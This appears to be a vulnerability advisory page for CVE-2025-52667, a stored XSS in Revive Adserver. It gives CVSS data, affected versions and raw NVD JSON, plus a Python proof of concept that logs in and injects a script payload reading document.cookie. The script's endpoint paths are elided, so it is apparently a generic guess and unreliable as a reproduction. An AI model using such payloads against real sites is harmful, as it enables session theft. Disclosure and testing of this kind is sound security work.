Security Vulnerability Report
中文
CVE-2025-52667 CVSS 5.4 MEDIUM

CVE-2025-52667

Published: 2025-11-20 20:16:23
Last Modified: 2025-12-02 20:24:38

Description

Missing JSON Content-Type header in a script in Revive Adserver 6.0.1 and 5.5.2 and earlier versions causes a stored XSS attack to be possible for a logged in manager user.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:* - VULNERABLE
Revive Adserver < 5.5.3
Revive Adserver < 6.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-52667 PoC - Stored XSS in Revive Adserver # Target: Revive Adserver <= 6.0.1, <= 5.5.2 TARGET = "http://target-revive-adserver.com" USERNAME = "manager_user" PASSWORD = "manager_password" session = requests.Session() # Step 1: Login to get authenticated session login_url = f"{TARGET}/www/admin/login.php" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data) # Step 2: Inject stored XSS payload via vulnerable endpoint # The vulnerability exists because the endpoint doesn't set proper JSON Content-Type vulnerable_url = f"{TARGET}/www/admin/plugins/.../ajax.php" xss_payload = '<script>alert(document.cookie)</script>' payload_data = { "action": "save", "name": xss_payload, "description": xss_payload } response = session.post(vulnerable_url, data=payload_data, headers={ "Content-Type": "application/x-www-form-urlencoded" }) # Step 3: Trigger the XSS when admin visits the affected page trigger_url = f"{TARGET}/www/admin/plugins/.../index.php" response = session.get(trigger_url) print("PoC executed - Stored XSS payload injected")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-52667", "sourceIdentifier": "[email protected]", "published": "2025-11-20T20:16:22.830", "lastModified": "2025-12-02T20:24:38.320", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing JSON Content-Type header in a script in Revive Adserver 6.0.1 and 5.5.2 and earlier versions causes a stored XSS attack to be possible for a logged in manager user."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:*", "versionEndIncluding": "5.5.2", "matchCriteriaId": "47AC2D81-BA0C-404A-B6F6-31151956D422"}, {"vulnerable": true, "criteria": "cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndIncluding": "6.0.1", "matchCriteriaId": "42E4B7BD-5F7B-4FBE-93D2-C19F30FA5A51"}]}]}], "references": [{"url": "https://hackerone.com/reports/3399809", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}